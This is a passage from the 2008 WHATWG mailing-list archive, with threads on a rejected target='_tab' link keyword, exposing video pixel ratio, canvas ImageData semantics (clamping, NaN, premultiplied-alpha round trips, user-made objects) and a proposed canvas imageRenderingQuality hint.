of the 4.9.1 Navigating across documents "navigation" algorithm.

If by "top-level" you don't mean a window/tab, but mean any iframe or 
frame content document, as opposed to an image, a stylesheet, or some 
such, then you are correct. The use case was really just replacing pages, 
e.g. Flickr pages, when the whole site isn't cached. Do you think this 
should be changed to opportunistically cache anything accessed?

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From ian at hixie.ch  Tue Jun 10 15:16:50 2008
From: ian at hixie.ch (Ian Hickson)
Date: Tue, 10 Jun 2008 22:16:50 +0000 (UTC)
Subject: [whatwg] Proposal: target="_tab"
In-Reply-To: <C474A2D2.537D%adrian.sutton@ephox.com>
References: <C474A2D2.537D%adrian.sutton@ephox.com>
Message-ID: <Pine.LNX.4.62.0806102212570.6527@hixie.dreamhostps.com>

On Tue, 10 Jun 2008, Simon Pieters wrote:
>
> In http://forums.whatwg.org/viewtopic.php?t=185 it is proposed that 
> authors should have the ability to suggest that links open in new 
> windows and new tabs. The suggested solution is to introduce a new 
> browsing context keyword "_tab".
> 
> Use case for opening a new window with specified size: help popup.
> 
> Use case for opening a new window without specified size: print page.
> 
> Use case for opening a new tab: links in GReader for later reading.
> 
> Demand for this feature: http://www.google.com/search?q=_tab

In general, it's best to let users decide where the link should open. In 
cases where the author really wants to open a new top-level browsing 
context, _blank already provides that option. Help popups are probably 
better done using inline floating iframes inside <aside>. Browsers having 
tabs, windows, or any number of other UI constructs should not be an issue 
that Web authors need to deal with. Thus, I don't think _tab makes much 
sense.

[snip a number of arguments much like the above]

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From philipj at opera.com  Wed Jun 11 00:41:53 2008
From: philipj at opera.com (Philip =?ISO-8859-1?Q?J=E4genstedt?=)
Date: Wed, 11 Jun 2008 09:41:53 +0200
Subject: [whatwg] Change request: rules for pixel ratio
In-Reply-To: <9B55D7C5-27AF-4AC9-A4DB-F2A37709F7EF@xiph.org>
References: <1213115465.6664.83.camel@nog.bredbandsbolaget.se>
	<9B55D7C5-27AF-4AC9-A4DB-F2A37709F7EF@xiph.org>
Message-ID: <1213170113.6562.23.camel@nog.bredbandsbolaget.se>

On Tue, 2008-06-10 at 10:48 -0700, Ralph Giles wrote:
> Does this mean the implementation must retrieve the self-described  
> pixel aspect ratio from the stream and supply it as part of the DOM?

Yes, the implementation would read the pixel ratio from the video
stream. In libtheora this is aspect_numerator/aspect_denominator of the
th_info struct (yes, this is pixel ratio, not frame aspect ratio). This
would all be handled by some multimedia framework anyway, so most
browsers won't have to worry too much about such details.

Exposing pixel ratio as readonly float videoPixelRatio in
HTMLVideoElement might be a good idea. If the media resource doesn't
self-describe its pixel ratio (many formats don't) it should be assumed
to be 1.0. I'm not convinced it is necessary as content authors who want
to be very explicit will probably set the pixelratio manually. Still, it
is trivial to expose and might make life easier for those who want this
information for low-level control of the video element size via the DOM.

-- 
Philip J?genstedt
Opera Software



From borekbe at yahoo.co.uk  Wed Jun 11 01:15:54 2008
From: borekbe at yahoo.co.uk (Borek Bernard)
Date: Wed, 11 Jun 2008 08:15:54 +0000 (GMT)
Subject: [whatwg] Proposal: target="_tab"
Message-ID: <261427.18082.qm@web25903.mail.ukl.yahoo.com>

Hi Adrian,

That is actually a very good point, I missed that. In fact, it means that _tab should not be part of HTML spec because it would possibly make things even worse than they currently are (opening GReader links in new "_tab"s in old browsers would lead to losing the opened articles) . I still believe that there should be a way to instruct the browser to open a new tab and the before mentioned CSS3 target-new is probably the best way (if not only one) to go.

Thanks,
Borek

----- Original Message ----
From: Adrian Sutton <adrian.sutton at ephox.com>
To: whatwg at lists.whatwg.org
Sent: Tuesday, 10 June, 2008 10:29:54 PM
Subject: Re: [whatwg] Proposal: target="_tab"

>> From my brief testing, _tab opens a new window so it should be backwards
>> compatible.

It's deceptively close but not quite backwards compatible. _tab will cause
the link to open in the frame called "_tab" and if it doesn't exist it
creates it, as a new window. So the first link works perfectly and opens a
new window but the second link you click will replace the first one since
there is now a frame called "_tab".

Regards,

Adrian Sutton.
______________________
Adrian Sutton, CTO
US: +1 (650) 292 9659 x717 UK: +44 (20) 8123 0617 x717
Ephox <http://www.ephox.com/>
Ephox Blogs <http://planet.ephox.com/>, Personal Blog
<http://www.symphonious.net/>


      __________________________________________________________
Sent from Yahoo! Mail.
A Smarter Email http://uk.docs.yahoo.com/nowyoucan.html


From borekbe at yahoo.co.uk  Wed Jun 11 01:37:09 2008
From: borekbe at yahoo.co.uk (Borek Bernard)
Date: Wed, 11 Jun 2008 08:37:09 +0000 (GMT)
Subject: [whatwg] Proposal: target="_tab"
Message-ID: <281159.69605.qm@web25901.mail.ukl.yahoo.com>

Hi Ian,

What do you think about the GReader use case? In my eyes, it makes the _tab scenario quite valid.

But, as mentioned by Adrian Sutton, there would be technical problems with older browsers so this proposal has to be scrapped. On the HTML/CSS level, this will be eventually handled by the 'target-new' property (which will be more flexible than target="_tab" as well) and I hope it will find its way into JavaScript too, eventually.

P.S. Sorry for not maintaining the thread sequence correctly, I couldn't figure out how to do that (that's why I used the forum instead of the mailing list in the first place :)

---
Borek

----- Original Message ----
From: Ian Hickson <ian at hixie.ch>
To: Simon Pieters <simonp at opera.com>; Jens Meiert <jens at meiert.com>; Jo?o Eiras <joao.eiras at gmail.com>; Lachlan Hunt <lachlan.hunt at lachy.id.au>; Borek Bernard <borekbe at yahoo.co.uk>; Adrian Sutton <adrian.sutton at ephox.com>
Cc: WHATWG <whatwg at whatwg.org>
Sent: Wednesday, 11 June, 2008 12:16:50 AM
Subject: Re: Proposal: target="_tab"

On Tue, 10 Jun 2008, Simon Pieters wrote:
>
> In http://forums.whatwg.org/viewtopic.php?t=185 it is proposed that 
> authors should have the ability to suggest that links open in new 
> windows and new tabs. The suggested solution is to introduce a new 
> browsing context keyword "_tab".
> 
> Use case for opening a new window with specified size: help popup.
> 
> Use case for opening a new window without specified size: print page.
> 
> Use case for opening a new tab: links in GReader for later reading.
> 
> Demand for this feature: http://www.google.com/search?q=_tab

In general, it's best to let users decide where the link should open. In 
cases where the author really wants to open a new top-level browsing 
context, _blank already provides that option. Help popups are probably 
better done using inline floating iframes inside <aside>. Browsers having 
tabs, windows, or any number of other UI constructs should not be an issue 
that Web authors need to deal with. Thus, I don't think _tab makes much 
sense.

[snip a number of arguments much like the above]

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'



      __________________________________________________________
Sent from Yahoo! Mail.
A Smarter Email http://uk.docs.yahoo.com/nowyoucan.html


From giecrilj at stegny.2a.pl  Wed Jun 11 01:42:41 2008
From: giecrilj at stegny.2a.pl (=?us-ascii?Q?Kristof_Zelechovski?=)
Date: Wed, 11 Jun 2008 10:42:41 +0200
Subject: [whatwg] Proposal: target="_tab"
In-Reply-To: <281159.69605.qm@web25901.mail.ukl.yahoo.com>
References: <281159.69605.qm@web25901.mail.ukl.yahoo.com>
Message-ID: <9D01A591659A40B1A1BDC4BF76364B8B@POCZTOWIEC>

Once you have support in CSS, you can use DOM+CSS from JS.  No particular
support within JS is required.
Chris

-----Original Message-----
From: whatwg-bounces at lists.whatwg.org
[mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Borek Bernard
Sent: Wednesday, June 11, 2008 10:37 AM
To: Ian Hickson; whatwg at lists.whatwg.org
Subject: Re: [whatwg] Proposal: target="_tab"

Hi Ian,

What do you think about the GReader use case? In my eyes, it makes the _tab
scenario quite valid.

But, as mentioned by Adrian Sutton, there would be technical problems with
older browsers so this proposal has to be scrapped. On the HTML/CSS level,
this will be eventually handled by the 'target-new' property (which will be
more flexible than target="_tab" as well) and I hope it will find its way
into JavaScript too, eventually.

P.S. Sorry for not maintaining the thread sequence correctly, I couldn't
figure out how to do that (that's why I used the forum instead of the
mailing list in the first place :)

---
Borek





From jens at meiert.com  Wed Jun 11 02:05:40 2008
From: jens at meiert.com (Jens Meiert)
Date: Wed, 11 Jun 2008 11:05:40 +0200
Subject: [whatwg] Proposal: target="_tab"
In-Reply-To: <Pine.LNX.4.62.0806102212570.6527@hixie.dreamhostps.com>
References: <C474A2D2.537D%adrian.sutton@ephox.com>
	<Pine.LNX.4.62.0806102212570.6527@hixie.dreamhostps.com>
Message-ID: <9fbcac550806110205o78d3e1e5j73e259fb9e8284d5@mail.gmail.com>

> > In http://forums.whatwg.org/viewtopic.php?t=185 it is proposed that
> > authors should have the ability to suggest that links open in new
> > windows and new tabs. The suggested solution is to introduce a new
> > browsing context keyword "_tab".
>
> In general, it's best to let users decide where the link should open.

Absolutely agreed.

What is interesting though is that authors can let open new
windows/tabs by HTML, CSS, /and/ scripting. I am not sure if this
functionality, that may ultimately impede user experience, can really
be considered structural, presentational, /and/ behavioral.

-- 
Jens Meiert
http://meiert.com/en/


From borekbe at yahoo.co.uk  Wed Jun 11 02:27:01 2008
From: borekbe at yahoo.co.uk (Borek Bernard)
Date: Wed, 11 Jun 2008 09:27:01 +0000 (GMT)
Subject: [whatwg] Proposal: target="_tab"
Message-ID: <939052.3245.qm@web25905.mail.ukl.yahoo.com>

Hi Kristof,

my knowledge of JS is limited but how would you handle this situation:
in your web app, you want to provide a keyboard shortcut for opening
current item into a new tab. You need to invoke this action from JavaScript so setting CSS to some DOM element is not enough (AFAIK). I think window.open() would need some new optional parameter or something similar to support this.

---
Borek

----- Original Message ----
From: Kristof Zelechovski <giecrilj at stegny.2a.pl>
To: Borek Bernard <borekbe at yahoo.co.uk>; Ian Hickson <ian at hixie.ch>; whatwg at lists.whatwg.org
Sent: Wednesday, 11 June, 2008 10:42:41 AM
Subject: Re: [whatwg] Proposal: target="_tab"

Once you have support in CSS, you can use DOM+CSS from JS.  No particular
support within JS is required.
Chris

-----Original Message-----
From: whatwg-bounces at lists.whatwg.org
[mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Borek Bernard
Sent: Wednesday, June 11, 2008 10:37 AM
To: Ian Hickson; whatwg at lists.whatwg.org
Subject: Re: [whatwg] Proposal: target="_tab"

Hi Ian,

What do you think about the GReader use case? In my eyes, it makes the _tab
scenario quite valid.

But, as mentioned by Adrian Sutton, there would be technical problems with
older browsers so this proposal has to be scrapped. On the HTML/CSS level,
this will be eventually handled by the 'target-new' property (which will be
more flexible than target="_tab" as well) and I hope it will find its way
into JavaScript too, eventually.

P.S. Sorry for not maintaining the thread sequence correctly, I couldn't
figure out how to do that (that's why I used the forum instead of the
mailing list in the first place :)

---
Borek


      __________________________________________________________
Sent from Yahoo! Mail.
A Smarter Email http://uk.docs.yahoo.com/nowyoucan.html


From ian at hixie.ch  Wed Jun 11 02:52:41 2008
From: ian at hixie.ch (Ian Hickson)
Date: Wed, 11 Jun 2008 09:52:41 +0000 (UTC)
Subject: [whatwg] Proposal: target="_tab"
In-Reply-To: <9fbcac550806110205o78d3e1e5j73e259fb9e8284d5@mail.gmail.com>
References: <C474A2D2.537D%adrian.sutton@ephox.com>
	<Pine.LNX.4.62.0806102212570.6527@hixie.dreamhostps.com>
	<9fbcac550806110205o78d3e1e5j73e259fb9e8284d5@mail.gmail.com>
Message-ID: <Pine.LNX.4.62.0806110952280.6527@hixie.dreamhostps.com>

On Wed, 11 Jun 2008, Jens Meiert wrote:
> > >
> > > In http://forums.whatwg.org/viewtopic.php?t=185 it is proposed that 
> > > authors should have the ability to suggest that links open in new 
> > > windows and new tabs. The suggested solution is to introduce a new 
> > > browsing context keyword "_tab".
> >
> > In general, it's best to let users decide where the link should open.
> 
> Absolutely agreed.
> 
> What is interesting though is that authors can let open new windows/tabs 
> by HTML, CSS, /and/ scripting. I am not sure if this functionality, that 
> may ultimately impede user experience, can really be considered 
> structural, presentational, /and/ behavioral.

I have no idea what you mean or how it affects the spec.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From ian at hixie.ch  Wed Jun 11 03:13:34 2008
From: ian at hixie.ch (Ian Hickson)
Date: Wed, 11 Jun 2008 10:13:34 +0000 (UTC)
Subject: [whatwg] ImageData feedback
In-Reply-To: <484DF430.4090807@sicking.cc>
References: <Pine.LNX.4.62.0611151735330.28418@dhalsim.dreamhost.com>
	<4560F162.7060204@stefan-haustein.com>
	<Pine.LNX.4.62.0805020038260.21650@hixie.dreamhostps.com>
	<0738FD12-AC1F-44C0-B731-2FF7C6084BDC@pobox.com>
	<Pine.LNX.4.62.0805100036080.23610@hixie.dreamhostps.com>
	<E5819C3D-698A-4AFC-9CD6-C0BDE670227F@pobox.com>
	<3A588C7C-DD91-495E-87F0-4FAAA2E60E71@pobox.com>
	<6D02C77F-6528-4032-8071-00CCF8D43B5C@apple.com>
	<0C3E377C-A5E4-4D7A-90A8-F97513B1CA1E@pobox.com>
	<B483364C-AA4F-405F-BDEB-4081071B43B9@apple.com>
	<3176995D-372E-4430-A2F6-0605E93123E8@pobox.com>
	<E31F35F6-366E-4680-81E7-72F6E07E1D9F@apple.com>
	<CE1AC749-12A0-4FD6-BF55-5B68032C018C@pobox.com>
	<B27A91CD-A9A8-4BA8-8A3B-F1802F5A1314@apple.com>
	<66629F5C-A66F-484E-AAF4-6618BF7AA574@pobox.com>
	<484DF430.4090807@sicking.cc>
Message-ID: <Pine.LNX.4.62.0806102218140.8559@hixie.dreamhostps.com>

On Tue, 19 Feb 2008, Oliver Hunt wrote:
> 
> The first is relatively simple, 3.14.11.1.10 states
> "If any of the arguments to createImageData() or getImageData() are infinite
> or NaN, or if either the sw or sh arguments are zero, the method must instead
> raise an INDEX_SIZE_ERR exception."
> 
> I feel this should probably be extended to throw on negative sw and sh.

This is intended to support negative arguments, hence the mention of 
"absolute magnitude" in the definition of what the method does. This is 
for consistency with the other methods, which work fine with negative 
dimensions.


> Additionally sw and sh are both floats and can therefore have a fractional
> component, so this needs to be handled.  I think we should specify the finite
> value clamps in device pixels, eg.
>
> "If any of the arguments to createImageData() or getImageData() are infinite
> or NaN, or if either the sw or sh arguments are less than one when scaled to
> the device pixel space, the method must instead raise an INDEX_SIZE_ERR
> exception."

I don't think we want to make exception raising be dependent on the 
resolution of the backing store, since that's a UA decision. I think it 
makes more sense to make the height and width be always at least 1. Right 
now UAs are required to do this, though it's not explicitly stated in 
terms of rounding. I can add a note if you like.

(I've added createImageData() to the paragraph that talks about device 
rounding, by the way. This was an unintentional omission.)


> The other issues relate to the data member of ImageData.  Currently this 
> is referred to as an int array, however the DOM does not define such an 
> array, and certainly doesn't specify any kind of clamping (let alone 
> clamping to a smaller range than that supported by the type).  I think 
> the behaviour of this "array" needs to be defined, and givevn that only 
> Opera currently implements an actual ImageData type i've been looking at 
> their implementation.
>
> Assuming we have an ImageData object with width, w and height, h then Opera
> provides a data member of "CanvasPixelArray", with the following behaviour:
> * A readonly length property is provided return the value w*h*4
> * Assignment to elements [0..w*h*4) (approximately) follows the behaviour
> defined in section 3.14.11.1.10 (assignment never throws NaN is stored a zero
> which i believe is preferable)
> * Assignment to elements outside [0..w*h*4) results in no clamping and does
> not alter the length property, this includes non-numeric properties
> * Iteration returns only the length property and those properties that have
> been added programmatically -- iteration does *not* include [0..w*h*4)
> 
> By and large I am fine with this behaviour, although i would prefer that 
> it were not possible to add arbitrary properties to the data array -- 
> but i can't come up with a real justification for such a restriction :D

I've added a CanvasPixelArray interface and used that. (The setter and 
getter are temporarily named XXX5 and XXX6 while we wait for WebIDL to 
have a way to hide members from objects.)


On Thu, 21 Feb 2008, Oliver Hunt wrote:
>
> At the moment the spec merely states that 
> putImageData(getImageData(sx,sy,..),sx,sy) should not result in any 
> visible change to the canvas, however for those implementations that use 
> a premultiplied buffer there is a necessary premultiplication stage 
> during blitting that results in a loss of precision in some 
> circumstances -- the most obvious being the case of alpha == 0, but many 
> other cases exist, eg. (254, 254, 254, alpha < 255).  This loss of 
> precision has no actual effect on the visible output, but does mean that 
> in the following case:
>
> imageData = context.getImageData(0,0,...);
> imageData.data[0]=254;
> imageData.data[1]=254;
> imageData.data[2]=254;
> imageData.data[3]=1;
> context.putImageData(imageData,0,0);
> imageData2.data = context.getImageData(0,0,...);
> 
> At this point implementations that use premultiplied buffers can't 
> guarantee imageData.data[0] == imageData2.data[0]

They don't have to. As Philip says:

On Wed, 30 Apr 2008, Philip Taylor wrote:
> 
> The spec does not state that getImageData(putImageData(data)) == data,
> which is where the problem would occur. It only states that
> putImageData(getImageData) == identity function, which is not a
> problem for premultiplied implementations (since the conversion from
> premultiplied to non-premultiplied is lossless and reversible). So I
> don't think the spec needs to change at all (except that it could have
> a note mentioning the issue).
> 
> (getImageData can convert internal premultiplied (pr,pg,pb,a) into
> ImageData's (r,g,b,a):
> 
>     if (a == 0) {
>         r = g = b = 0;
>     } else {
>         r = (pr * 255) / a;
>         g = (pg * 255) / a;
>         b = (pb * 255) / a;
>     }
> 
> (using round-to-zero integer division). putImageData can convert the other way:
> 
>     pr = (r*a + 254) / 255;
>     pg = (g*a + 254) / 255;
>     pb = (b*a + 254) / 255;
> 
> Then put(get()) has no effect on the values in the premultiplied buffer.)


On Thu, 21 Feb 2008, Oliver Hunt wrote:
>
> Currently no UA can guarantee a roundtrip so i would suggest the spec be
> updated to state that implementations do not have to guarantee a roundtrip for
> any pixel where alpha < 255.

The spec doesn't require roundtrip, so I'm not sure what the note would 
say.


> The other issue is the behaviour of NaN in ImageData.  Currently the 
> spec states that attempting to assign NaN (or any value for which 
> toNumber produces NaN) into the ImageData object should throw.  I feel 
> that this is another place where NaN should be simply ignored, which is 
> the behaviour given by Opera, which is the only UA that implements the 
> ImageData API (that i'm aware of).
> 
> In Opera's implementation all non-finite numbers are stored as zero, which is
> (to my mind) much better than throwing an exception, however i would expect
> NaN => 0
> -Infinity => 0
> Infinity => 255
> 
> So +/-Infinity would treated in line with standard clamping rules.

I believe the spec now requires this.



On Sat, 10 May 2008, Vladimir Vukicevic wrote:
> > 
> > This restriction was made because it allows for dramatic (many orders 
> > of magnitude) optimisations. With createImageData(), the use cases for 
> > custom imageData objects should be catered for -- what are the cases 
> > where you would need another solution? (Note that hand-rolling 
> > imageData objects is dangerous since you don't know what resolution 
> > the backing store is using, necessarily, which is something else that 
> > createImageData() solves.)
> 
> Well, I don't agree that it's "dangerous"; canvas resolution 
> independence has always been hard to pin down, and I still maintain that 
> it shouldn't be treated any differently than an image is treated.  

"dangerous" may be the wrong term. The real problem is that there's no 
real way to find out what the dimensions should be without calling 
createID() or getID(), and once you've done that you might as well just 
reuse the object you were handed.


> However, regardless of that, I don't think there's a reason to disallow 
> custom-created data objects, perhaps with a caveat that there may be 
> issues.. get/putImageData in Firefox 2, so adding that restriction may 
> unnecessarily break existing code that uses putImageData with a hand- 
> constructed ImageData object.

The restriction was put in because of a request from the WebKit guys to 
enable them to do order-of-magnitude performance improvements. On the long 
term, I think we're better of enabling those performance improvements than 
supporting the earliest users of the API, especially given that those uses 
only ever worked in one UA.


> I would amend the spec to state that if an object is passed to 
> putImageData with the necessary properties, but without having been 
> created by create/getImageData beforehand, that its dimensions are aways 
> in device pixels.

We could support a conversion from custom (JS) objects to native ImageData 
objects when the method is passed a non-native object, but that seems like 
a lot of complications for little gain. After all, calling 
createImageData() isn't an onerous requirement.


> One problem with the desired goal of resolution independence is that it 
> only really makes sense if the target resolution is an integer multiple 
> of a CSS pixel.  For example, with a 144dpi output device, that's 
> exactly 1.5 times CSS resolution.  If I call createImageData with 
> dimensions 10,10, I would get an ImageData object with width 15 and 
> height 15.  What do I get if I call it with 11,11 though?  That's 16.5 
> device pixels, and you're going to lose data either way you go, because 
> at putImageData time you're going to get seams no matter what direction 
> you round.  This can maybe be solved with language in the spec that 
> specifies that a canvas should use a different ratio of CSS pixels to 
> device pixels only if one is an integer multiple of the other, but that 
> seems like an odd limitation (and it still requires the implementation 
> to decide what to do if a clean ratio isn't possible).

I don't understand what use cases you are expecting where this would be a 
problem. Typically the idea here is doing filters or generating patterns 
like clouds or fractals, in which case, so long as the UA follows the 
spec's rules on rounding behaviour, the seams shouldn't be a big problem. 
Could you illustrate the case you are concerned about with an example?


> Another approach would be to not try to solve this in canvas at all, and
> instead specify that by default, all canvas elements are 96dpi, and provide
> authors a way to explicitly override this -- then using a combination of CSS
> Media Queries and other CSS, the exact dpi desired could be specified.  (You
> can sort of do this today, given that the canvas width/height attributes are
> in CSS pixels, and that if CSS dimensions are present a canvas is scaled like
> an image... so canvas { width: 100px; height: 100px; } ... <canvas width="200"
> height="200"/> would give a 192dpi canvas today, no?)

A UA would be quite within its rights today to make that a canvas with a 
native backing store dimension of 100x100. It could also make it 
4000x4000. There's really no reason for the user to know.


On Sat, 10 May 2008, Vladimir Vukicevic wrote:
> 
> Eh?  The resolution used should be whatever the appropriate resolution 
> should be;  I'm certainly not suggesting that everyone unilaterally 
> create canvases with 2x pixel resolution, I'm saying that the features 
> exist to allow authors to (dynamically) create a canvas at whatever the 
> appropriate resolution is relative to CSS resolution.  Canvas was 
> designed to allow for programmatic 2D rendering for web content; 
> resolution independence would certainly be nice, but it was never a goal 
> of the canvas spec.  In fact, the spec explicitly states that the 
> "canvas element represents a resolution-dependent bitmap canvas".

Right, the resolution in "resolution-dependent" being the display's native 
resolution. It was always intended (at least from my point of view, and as 
I understand it from the original Apple proposal) that <canvas> provide a 
way to render bitmap graphics that will always be the "best" resolution 
for the display. Resolution-independent from the author's point of view.


[snipped a discussion about whether to change some of the current 
validation rules, since it concluded that the current spec was fine]

On Tue, 13 May 2008, Vladimir Vukicevic wrote:
> 
> Some suggested language in section 3.12.11.1.11(!):
> 
> Instead of:
> 
> > If the first argment to the method is null or not an ImageData object 
> > that was returned by createImageData() or getImageData() then the 
> > putImageData() method must raise a TYPE_MISMATCH_ERR exception.
> 
> I would suggest:
> 
> The first argument to the method must be an ImageData object returned by 
> createImageData(), getImageData(), or an object constructed with the 
> necessary properties by the user.  If the object was constructed by the 
> user, its width and height dimensions are specified in device pixels 
> (which may not map directly to CSS pixels).  If null or any other object 
> is given that does not present the ImageData interface, then the 
> putImageData() method must raise a TYPE_MISMATCH_ERR exception.

On Tue, 13 May 2008, Oliver Hunt wrote:
> 
> If we were to add that we should include a note to indicate that using a 
> custom object is not recommended -- Any code that uses a custom created 
> object will never benefit from improvements in ImageData performance 
> made by the UA. That said I still don't believe custom objects should be 
> allowed, aside from the resolution (which may or may not be relevant) 
> and performance issues, a custom object with a generic JS array, rather 
> than an ImageData object will have different behaviour -- a proper 
> ImageData will clamp on assignment, and throw in cases that a custom 
> object won't.

On Tue, 13 May 2008, Vladimir Vukicevic wrote:
> 
> I'm fine with adding that language (the first part, anyway); something 
> like "Using a custom object is not recommended as the UA may be able to 
> optimize operations using ImageData if they were created via 
> createImageData() or getImageData()."

On Mon, 2 Jun 2008, Vladimir Vukicevic wrote:
> 
> [...] based on the discussion, I'd suggest:
> 
> - user-created ImageData-like objects should be supported, e.g. with 
> language such as:
> 
> The first argument to the method must be an ImageData object returned by 
> createImageData(), getImageData(), or an object constructed with the 
> necessary properties by the user.  If the object was constructed by the 
> user, its width and height dimensions are specified in device pixels 
> (which may not map directly to CSS pixels).  If null or any other object 
> is given that does not present the ImageData interface, then the 
> putImageData() method must raise a TYPE_MISMATCH_ERR exception.

On Mon, 9 Jun 2008, Jonas Sicking wrote:
> 
> Do note that dealing with user-created objects isn't trivial. You have 
> to be prepared for dealing with the user-created object changing the 
> whole world under you during a callback, this includes things like doing 
> any modification to the canvas object itself, but also things like 
> script navigating away and then causing a GC to tear down the world 
> around you.
> 
> This is usually not very hard to deal with, as long as you are not deep 
> inside a long callstack when calling out to content. This is because you 
> have to ensure that the whole callstack is ok with the world changing 
> around it.

The request seems to be aimed at addressing the small number of existing 
sites already deployed that rely on the Firefox 2 implementation. There 
doesn't seem to be an actual use case for the feature other than that.

Given this, and given that other UAs have already made changes that are 
incompatible with these very, very early pages in order to line up with 
the needs of implementations such as Mozilla, I don't think it really 
makes sense to add this to the spec. It isn't at all clear that other UAs 
actually want to support this anyway; indeed even Mozilla implementors 
seem reluctant to continue to support it (q.v. Jonas' comment above).

Vlad: I realise that this basically consists of rejecting your feedback on 
this, but I'm not sure how else to proceed given the clear statement from 
at least one other vendor that they don't want this feature. Sorry.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From ian at hixie.ch  Wed Jun 11 03:34:10 2008
From: ian at hixie.ch (Ian Hickson)
Date: Wed, 11 Jun 2008 10:34:10 +0000 (UTC)
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <82c3f5040806030709n7a2317dcxa66a358b7969161e@mail.gmail.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
	<E0624F2C-7A41-4384-828E-BCC7DC77A9B7@apple.com>
	<11e306600806021519h55955cd2v99b8139cf9e949c6@mail.gmail.com>
	<AFE6C8A6-00C0-4CA2-92DD-96EAA4886700@apple.com>
	<82c3f5040806030709n7a2317dcxa66a358b7969161e@mail.gmail.com>
Message-ID: <Pine.LNX.4.62.0806111017060.8559@hixie.dreamhostps.com>

On Mon, 2 Jun 2008, Vladimir Vukicevic wrote:
> 
> I'd like to propose adding an imageRenderingQuality property on the 
> canvas 2D context to allow authors to choose speed vs. quality when 
> rendering images (especially transformed ones).

How can an author know which is appropriate?


> This is modeled on the SVG image-rendering property, at 
> http://www.w3.org/TR/SVG/painting.html#ImageRenderingProperty:
> 
>   attribute string imageRenderingQuality;
> 
> 'auto' (default): The user agent shall make appropriate tradeoffs to 
> balance speed and quality, but quality shall be given more importance 
> than speed.
> 
> 'optimizeQuality': Emphasize quality over rendering speed.
> 
> 'optimizeSpeed': Emphasize speed over rendering quality.

This seems to be something that is completely inappropriate for SVG or for 
canvas. The UA should make its own tradeoffs, likely tradeoffs that don't 
even remotely fit into the categories above (e.g. adapting to scripts that 
do animations to converge on the best quality possible at 30fps, or 
optimise for memory usage).


On Mon, 2 Jun 2008, Oliver Hunt wrote:
>
> Um, could you actually give some kind of reasoning for these?  I am not 
> aware of any significant performance issues in Canvas that cannot be 
> almost directly attributed to JavaScript itself rather than the canvas.

On Mon, 2 Jun 2008, Vladimir Vukicevic wrote:
> 
> Sure; bilinear filtering is slower than nearest neighbour sampling, and 
> in many cases the app author would like to be able to decide that 
> tradeoff (or, at least, to be able to say "I want this to go as fast as 
> possible, regardless of quality").  Some apps might also render to a 
> canvas just once, and would prefer to do it at the highest quality 
> filtering available even if it's more expensive than the default.

Why not just have the UA run in a high quality mode the first time it is 
painted on, but if the script tries to paint again within a certain amount 
of time, switch to high speed?

Trusting the author to do this right seems like a fantastically bad idea.


On Mon, 2 Jun 2008, David Hyatt wrote:
> On Jun 2, 2008, at 4:34 PM, Vladimir Vukicevic wrote:
> > 
> > Yeah, I agree -- I thought that there was some plan somewhere to 
> > uplift a bunch of these SVG CSS properties into general usage?  I know 
> > that Gecko uplifted text-rendering, we should figure out what else 
> > makes sense to pull up.  (If image-rendering were uplifted, it would 
> > apply to <canvas>, for the scaling/transformation of the canvas 
> > element itself as opposed to the canvas rendering content.)
> 
> Right, that would be my expectation as well (that the CSS property could 
> be applied to <canvas> to control the quality when rendering the canvas 
> buffer itself).

That neatly moves the problem away from the canvas API, and thus it 
wouldn't be my problem necessarily, but I still don't think it'd be a good 
idea. :-)


On Mon, 2 Jun 2008, Oliver Hunt wrote:
>
> That's exactly what i would be afraid of people doing.  If I have a fast 
> system why should i have to experience low quality rendering?  It should 
> be the job of the platform to determine what level of performance or 
> quality can be achieved on a given device.  Typically such a property 
> would be considered a "hint", and as such would likely be ignored.
> 
> If honouring this property was _required_ rather than being a hint you would
> hit the following problems:
>
> * Low power devices would have a significant potential for poor 
> performance if a developer found that their desktop performed well so 
> set the requirement to high quality.
>
> * High power devices would be forced to use low quality rendering modes 
> when perfectly capable of providing better quality without significant 
> performance penalty.
> 
> Neither of these apply if the property were just a hint, but now you 
> have to think about what happens to content that uses this property in 
> 18 months time. You've told the UA to use a low quality rendering when 
> it may no longer be necessary, so now the UA has a choice it either 
> always obeys the property meaning lower quality than is necessary so 
> that new content performs well, or it ignores the property in which case 
> new content performs badly.
> 
> The correct behaviour would be for the UA to work out itself what it can 
> do, which it needs to be able to do anyway, in order to satisfy the 
> "auto" option.

That line of reasoning seems correct to me.


On Mon, 2 Jun 2008, Vladimir Vukicevic wrote:
> 
> If web apps misuse the property, then bugs should be filed on those apps 
> that incorrectly use the property, and the app developer should fix 
> them.

That's naive, I'm afraid. In practice, sites are written and abandoned, 
and don't get fixed.


On Tue, 3 Jun 2008, Robert O'Callahan wrote:
> 
> These hint properties are opt-in for UAs. If you don't like the idea, 
> just treat all values as "auto".

There's not much point us adding the feature if multiple UAs aren't going 
to implement it.

Also, if it's a hint, then it's untestable, and we wouldn't be able to 
prove interoperability, which again makes it something not really worth 
adding to the spec.


On Mon, 2 Jun 2008, Vladimir Vukicevic wrote:
> 
> The web platform shouldn't prevent developers from exercising control 
> over how their content is rendered; most developers, as you say, 
> probably shouldn't change anything from the default 'auto'.  But the 
> capability should be there. Arbitrarily deciding what developers can and 
